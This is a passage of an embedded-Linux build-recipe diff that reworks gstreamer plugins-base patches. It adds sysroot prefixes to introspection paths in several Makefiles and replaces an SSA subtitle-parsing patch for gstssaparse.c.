-@@ -88,14 +88,14 @@ GstPbutils-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstpbutils-@GST_AP
- --c-include "gst/pbutils/pbutils.h" \
- -I$(top_srcdir)/gst-libs \
- -I$(top_builddir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --add-include-path="$(top_builddir)/gst-libs/gst/tag/" \
- --add-include-path="$(top_builddir)/gst-libs/gst/video/" \
- --add-include-path="$(top_builddir)/gst-libs/gst/audio/" \
- --library=libgstpbutils-@GST_API_VERSION@.la \
-- --library-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-@GST_API_VERSION@` \
-- --library-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-base-@GST_API_VERSION@` \
-+ --library-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-@GST_API_VERSION@` \
-+ --library-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-base-@GST_API_VERSION@` \
- --library-path="$(top_builddir)/gst-libs/gst/tag/" \
- --library-path="$(top_builddir)/gst-libs/gst/video/" \
- --library-path="$(top_builddir)/gst-libs/gst/audio/" \
-@@ -128,8 +128,8 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- $(INTROSPECTION_COMPILER) \
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --includedir="$(top_builddir)/gst-libs/gst/tag/" \
- --includedir="$(top_builddir)/gst-libs/gst/video/" \
- --includedir="$(top_builddir)/gst-libs/gst/audio/" \
-diff --git a/gst-libs/gst/riff/Makefile.am b/gst-libs/gst/riff/Makefile.am
-index e66ef4f..c8c588a 100644
---- a/gst-libs/gst/riff/Makefile.am
-+++ b/gst-libs/gst/riff/Makefile.am
-@@ -43,8 +43,8 @@ libgstriff_@GST_API_VERSION@_la_LDFLAGS = $(GST_LIB_LDFLAGS) $(GST_ALL_LDFLAGS)
- # --c-include "gst/riff/riff.h" \
- # --add-include-path=$(builddir)/../tag \
- # --add-include-path=$(builddir)/../audio \
--# --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
--# --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+# --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+# --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- # --library=libgstriff-@GST_API_VERSION@.la \
- # --include=GstAudio-@GST_API_VERSION@ \
- # --include=GstTag-@GST_API_VERSION@ \
-@@ -75,8 +75,8 @@ libgstriff_@GST_API_VERSION@_la_LDFLAGS = $(GST_LIB_LDFLAGS) $(GST_ALL_LDFLAGS)
- # --includedir=$(builddir) \
- # --includedir=$(builddir)/../tag \
- # --includedir=$(builddir)/../audio \
--# --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
--# --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+# --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+# --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- # $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
- #
- #CLEANFILES = $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/rtp/Makefile.am b/gst-libs/gst/rtp/Makefile.am
-index 77ebeeb..9aee788 100644
---- a/gst-libs/gst/rtp/Makefile.am
-+++ b/gst-libs/gst/rtp/Makefile.am
-@@ -66,8 +66,8 @@ GstRtp-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstrtp-@GST_API_VERSIO
- --c-include "gst/rtp/rtp.h" \
- -I$(top_builddir)/gst-libs \
- -I$(top_srcdir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library=libgstrtp-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --include=GstBase-@GST_API_VERSION@ \
-@@ -94,8 +94,8 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- $(INTROSPECTION_COMPILER) \
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES += $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/rtsp/Makefile.am b/gst-libs/gst/rtsp/Makefile.am
-index db9d0fd..79027cb 100644
---- a/gst-libs/gst/rtsp/Makefile.am
-+++ b/gst-libs/gst/rtsp/Makefile.am
-@@ -71,8 +71,8 @@ GstRtsp-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstrtsp-@GST_API_VERS
- -I$(top_builddir)/gst-libs \
- -I$(top_srcdir)/gst-libs \
- --add-include-path=$(builddir)/../sdp \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library=libgstrtsp-@GST_API_VERSION@.la \
- --include=Gio-2.0 \
- --include=Gst-@GST_API_VERSION@ \
-diff --git a/gst-libs/gst/sdp/Makefile.am b/gst-libs/gst/sdp/Makefile.am
-index 6e05cc7..c7cf514 100644
---- a/gst-libs/gst/sdp/Makefile.am
-+++ b/gst-libs/gst/sdp/Makefile.am
-@@ -31,7 +31,7 @@ GstSdp-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstsdp-@GST_API_VERSIO
- --warn-all \
- --c-include "gst/sdp/sdp.h" \
- -I$(top_srcdir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
- --library=libgstsdp-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --libtool="${LIBTOOL}" \
-@@ -55,7 +55,7 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- $(INTROSPECTION_COMPILER) \
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES = $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/tag/Makefile.am b/gst-libs/gst/tag/Makefile.am
-index c86515b..363e6d2 100644
---- a/gst-libs/gst/tag/Makefile.am
-+++ b/gst-libs/gst/tag/Makefile.am
-@@ -61,8 +61,8 @@ GstTag-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgsttag-@GST_API_VERSIO
- --c-include "gst/tag/tag.h" \
- -I$(top_srcdir)/gst-libs \
- -I$(top_builddir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library=libgsttag-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --include=GstBase-@GST_API_VERSION@ \
-@@ -89,8 +89,8 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- $(INTROSPECTION_COMPILER) \
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES += $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/video/Makefile.am b/gst-libs/gst/video/Makefile.am
-index 0f8455f..8c9955c 100644
---- a/gst-libs/gst/video/Makefile.am
-+++ b/gst-libs/gst/video/Makefile.am
-@@ -124,8 +124,8 @@ GstVideo-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstvideo-@GST_API_VE
- --c-include "gst/video/video.h" \
- -I$(top_srcdir)/gst-libs \
- -I$(top_builddir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library=libgstvideo-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --include=GstBase-@GST_API_VERSION@ \
-@@ -152,8 +152,8 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- $(INTROSPECTION_COMPILER) \
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES += $(BUILT_GIRSOURCES) $(typelibs_DATA)
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch
new file mode 100644
index 0000000000..e453a500c9
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch
@@ -0,0 +1,229 @@
+From f587861bbe12ad0b10370f835592746aafedbf56 Mon Sep 17 00:00:00 2001
+From: Mingke Wang <mingke.wang@freescale.com>
+Date: Thu, 19 Mar 2015 14:17:10 +0800
+Subject: [PATCH 2/4] ssaparse: enhance SSA text lines parsing.
+
+some parser will pass in the original ssa text line which starts with "Dialog:"
+and there's are maybe multiple Dialog lines in one input buffer.
+
+Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=747496]
+
+Signed-off-by: Mingke Wang <mingke.wang@freescale.com>
+---
+ gst/subparse/gstssaparse.c | 150 +++++++++++++++++++++++++++++++++----
+ 1 file changed, 134 insertions(+), 16 deletions(-)
+ mode change 100644 => 100755 gst/subparse/gstssaparse.c
+
+diff --git a/gst/subparse/gstssaparse.c b/gst/subparse/gstssaparse.c
+old mode 100644
+new mode 100755
+index c849c08..4b9636c
+--- a/gst/subparse/gstssaparse.c
++++ b/gst/subparse/gstssaparse.c
+@@ -262,6 +262,7 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
+ * gst_ssa_parse_push_line:
+ * @parse: caller element
+ * @txt: text to push
++ * @size: text size need to be parse
+ * @start: timestamp for the buffer
+ * @duration: duration for the buffer
+ *
+@@ -271,27 +272,133 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
+ * Returns: result of the push of the created buffer
+ */
+ static GstFlowReturn
+-gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
++gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt, gint size,
+ GstClockTime start, GstClockTime duration)
+ {
+ GstFlowReturn ret;
+ GstBuffer *buf;
+- gchar *t, *escaped;
++ gchar *t, *text, *p, *escaped, *p_start, *p_end;
+ gint num, i, len;
++ GstClockTime start_time = G_MAXUINT64, end_time = 0;
+
+- num = atoi (txt);
+- GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
+- num, GST_TIME_ARGS (start));
+-
+- /* skip all non-text fields before the actual text */
++ p = text = g_malloc(size + 1);
++ *p = '\0';
+ t = txt;
+- for (i = 0; i < 8; ++i) {
+- t = strchr (t, ',');
++
++ /* there are may have multiple dialogue lines at a time */
++ while (*t) {
++ /* ignore leading white space characters */
++ while (isspace(*t))
++ t++;
++
++ /* ignore Format: and Style: lines */
++ if (strncmp(t, "Format:", 7) == 0 || strncmp(t, "Style:", 6) == 0) {
++ while (*t != '\0' && *t != '\n') {
++ t++;
++ }
++ }
++
++ if (*t == '\0')
++ break;
++
++ /* continue with next line */
++ if (*t == '\n') {
++ t++;
++ continue;
++ }
++
++ if(strncmp(t, "Dialogue:", 9) != 0) {
++ /* not started with "Dialogue:", it must be a line trimmed by demuxer */
++ num = atoi (t);
++ GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
++ num, GST_TIME_ARGS (start));
++
++ /* skip all non-text fields before the actual text */
++ for (i = 0; i < 8; ++i) {
++ t = strchr (t, ',');
++ if (t == NULL)
++ break;
++ ++t;
++ }
++ } else {
++ /* started with "Dialogue:", update timestamp and duration */
++ /* time format are like Dialog:Mark,0:00:01.02,0:00:03.04,xx,xxx,... */
++ guint hour, min, sec, msec, len;
++ GstClockTime tmp;
++ gchar t_str[12] = {0};
++
++ /* find the first ',' */
++ p_start = strchr (t, ',');
++ if (p_start)
++ p_end = strchr (++p_start, ',');
++
++ if (p_start && p_end) {
++ /* copy text between first ',' and second ',' */
++ strncpy(t_str, p_start, p_end - p_start);
++ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
++ tmp = ((hour*3600) + (min*60) + sec) * GST_SECOND + msec*GST_MSECOND;
++ GST_DEBUG_OBJECT (parse, "Get start time:%02d:%02d:%02d:%03d\n",
++ hour, min, sec, msec);
++ if (start_time > tmp)
++ start_time = tmp;
++ } else {
++ GST_WARNING_OBJECT (parse,
++ "failed to parse ssa start timestamp string :%s", t_str);
++ }
++
++ p_start = p_end;
++ p_end = strchr (++p_start, ',');
++ if (p_end) {
++ /* copy text between second ',' and third ',' */
++ strncpy(t_str, p_start, p_end - p_start);
++ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
++ tmp = ((hour*3600) + (min*60) + sec)*GST_SECOND + msec*GST_MSECOND;
++ GST_DEBUG_OBJECT(parse, "Get end time:%02d:%02d:%02d:%03d\n",
++ hour, min, sec, msec);
++ if (end_time < tmp)
++ end_time = tmp;
++ } else {
++ GST_WARNING_OBJECT (parse,
++ "failed to parse ssa end timestamp string :%s", t_str);
++ }
++ }
++ }
++
++ /* now skip all non-text fields before the actual text */
++ for (i = 0; i <= 8; ++i) {
++ t = strchr (t, ',');
++ if (t == NULL)
++ break;
++ ++t;
++ }
++ }
++
++ /* line end before expected number of ',', not a Dialogue line */
+ if (t == NULL)
+- return GST_FLOW_ERROR;
+- ++t;
++ break;
++
++ /* if not the first line, and the last character of previous line is '\0',
++ * then replace it with '\N' */
++ if (p != text && *p == '\0') {
++ *p++ = '\\';
++ *p++ = 'N';
++ }
++
++ /* copy all actual text of this line */
++ while ((*t != '\0') && (*t != '\n'))
++ *p++ = *t++;
++
++ /* add a terminator at the end */
++ *p = '\0';
++ }
++
++ /* not valid text found in this buffer return OK to let caller unref buffer */
++ if (strlen(text) <= 0) {
++ GST_WARNING_OBJECT (parse, "Not valid text found in this buffer\n");
++ return GST_FLOW_ERROR;
+ }
+
++ t = text;
+ GST_LOG_OBJECT (parse, "Text : %s", t);
+
+ if (gst_ssa_parse_remove_override_codes (parse, t)) {
+@@ -309,13 +416,22 @@ gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
+ gst_buffer_fill (buf, 0, escaped, len + 1);
+ gst_buffer_set_size (buf, len);
+ g_free (escaped);
++ g_free(t);
++
++ if (start_time != G_MAXUINT64)
++ GST_BUFFER_TIMESTAMP (buf) = start_time;
++ else
++ GST_BUFFER_TIMESTAMP (buf) = start;
+
+- GST_BUFFER_TIMESTAMP (buf) = start;
+- GST_BUFFER_DURATION (buf) = duration;
++ if (end_time > start_time)
++ GST_BUFFER_DURATION (buf) = end_time - start_time;
++ else
++ GST_BUFFER_DURATION (buf) = duration;
+
+ GST_LOG_OBJECT (parse, "Pushing buffer with timestamp %" GST_TIME_FORMAT
+- " and duration %" GST_TIME_FORMAT, GST_TIME_ARGS (start),
+- GST_TIME_ARGS (duration));
++ " and duration %" GST_TIME_FORMAT,
++ GST_TIME_ARGS (GST_BUFFER_TIMESTAMP (buf)),
++ GST_TIME_ARGS (GST_BUFFER_DURATION (buf)));
+
+ ret = gst_pad_push (parse->srcpad, buf);
+
+@@ -335,6 +451,7 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
+ GstClockTime ts;
+ gchar *txt;
+ GstMapInfo map;
++ gint size;
+
+ if (G_UNLIKELY (!parse->framed))
+ goto not_framed;
+@@ -352,13 +469,14 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
+ /* make double-sure it's 0-terminated and all */
+ gst_buffer_map (buf, &map, GST_MAP_READ);
+ txt = g_strndup ((gchar *) map.data, map.size);
++ size = map.size;
+ gst_buffer_unmap (buf, &map);
+
+ if (txt == NULL)
+ goto empty_text;
+
+ ts = GST_BUFFER_TIMESTAMP (buf);
+- ret = gst_ssa_parse_push_line (parse, txt, ts, GST_BUFFER_DURATION (buf));
++ ret = gst_ssa_parse_push_line (parse, txt, size, ts, GST_BUFFER_DURATION (buf));
+
+ if (ret != GST_FLOW_OK && GST_CLOCK_TIME_IS_VALID (ts)) {
+ GstSegment segment;
+--
+2.28.0
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-riff-add-missing-include-directories-when-calling-in.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-riff-add-missing-include-directories-when-calling-in.patch
deleted file mode 100644
index 98ffdb1c10..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-riff-add-missing-include-directories-when-calling-in.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From b9765efb1696e3e2e79f2955f759be199fe34882 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 26 Oct 2015 17:29:37 +0200
-Subject: [PATCH] riff: add missing include directories when calling
- introspection scanner
-
-Upstream-Status: Pending [review on oe-core maillist]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- gst-libs/gst/riff/Makefile.am | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/gst-libs/gst/riff/Makefile.am b/gst-libs/gst/riff/Makefile.am
-index c8c588a..c096453 100644
---- a/gst-libs/gst/riff/Makefile.am
-+++ b/gst-libs/gst/riff/Makefile.am
-@@ -41,6 +41,8 @@ libgstriff_@GST_API_VERSION@_la_LDFLAGS = $(GST_LIB_LDFLAGS) $(GST_ALL_LDFLAGS)
- # --strip-prefix=Gst \
- # --warn-all \
- # --c-include "gst/riff/riff.h" \
-+# -I$(top_srcdir)/gst-libs \
-+# -I$(top_builddir)/gst-libs \
- # --add-include-path=$(builddir)/../tag \
- # --add-include-path=$(builddir)/../audio \
- # --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch
deleted file mode 100644
index 9e95524057..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch
+++ /dev/null
@@ -1,227 +0,0 @@
-From 918c96b24d10f61b7455b4cef3bab490849d0d77 Mon Sep 17 00:00:00 2001
-From: Mingke Wang <mingke.wang@freescale.com>
-Date: Thu, 19 Mar 2015 14:17:10 +0800
-Subject: [PATCH] ssaparse: enhance SSA text lines parsing.
-
-some parser will pass in the original ssa text line which starts with "Dialog:"
-and there's are maybe multiple Dialog lines in one input buffer.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=747496]
-
-Signed-off-by: Mingke Wang <mingke.wang@freescale.com>
-
----
- gst/subparse/gstssaparse.c | 150 ++++++++++++++++++++++++++++++++++++++++-----
- 1 file changed, 134 insertions(+), 16 deletions(-)
- mode change 100644 => 100755 gst/subparse/gstssaparse.c
-
-diff --git a/gst/subparse/gstssaparse.c b/gst/subparse/gstssaparse.c
-old mode 100644
-new mode 100755
-index c849c08..4b9636c
---- a/gst/subparse/gstssaparse.c
-+++ b/gst/subparse/gstssaparse.c
-@@ -262,6 +262,7 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
- * gst_ssa_parse_push_line:
- * @parse: caller element
- * @txt: text to push
-+ * @size: text size need to be parse
- * @start: timestamp for the buffer
- * @duration: duration for the buffer
- *
-@@ -271,27 +272,133 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
- * Returns: result of the push of the created buffer
- */
- static GstFlowReturn
--gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
-+gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt, gint size,
- GstClockTime start, GstClockTime duration)
- {
- GstFlowReturn ret;
- GstBuffer *buf;
-- gchar *t, *escaped;
-+ gchar *t, *text, *p, *escaped, *p_start, *p_end;
- gint num, i, len;
-+ GstClockTime start_time = G_MAXUINT64, end_time = 0;
-
-- num = atoi (txt);
-- GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
-- num, GST_TIME_ARGS (start));
--
-- /* skip all non-text fields before the actual text */
-+ p = text = g_malloc(size + 1);
-+ *p = '\0';
- t = txt;
-- for (i = 0; i < 8; ++i) {
-- t = strchr (t, ',');
-+
-+ /* there are may have multiple dialogue lines at a time */
-+ while (*t) {
-+ /* ignore leading white space characters */
-+ while (isspace(*t))
-+ t++;
-+
-+ /* ignore Format: and Style: lines */
-+ if (strncmp(t, "Format:", 7) == 0 || strncmp(t, "Style:", 6) == 0) {
-+ while (*t != '\0' && *t != '\n') {
-+ t++;
-+ }
-+ }
-+
-+ if (*t == '\0')
-+ break;
-+
-+ /* continue with next line */
-+ if (*t == '\n') {
-+ t++;
-+ continue;
-+ }
-+
-+ if(strncmp(t, "Dialogue:", 9) != 0) {
-+ /* not started with "Dialogue:", it must be a line trimmed by demuxer */
-+ num = atoi (t);
-+ GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
-+ num, GST_TIME_ARGS (start));
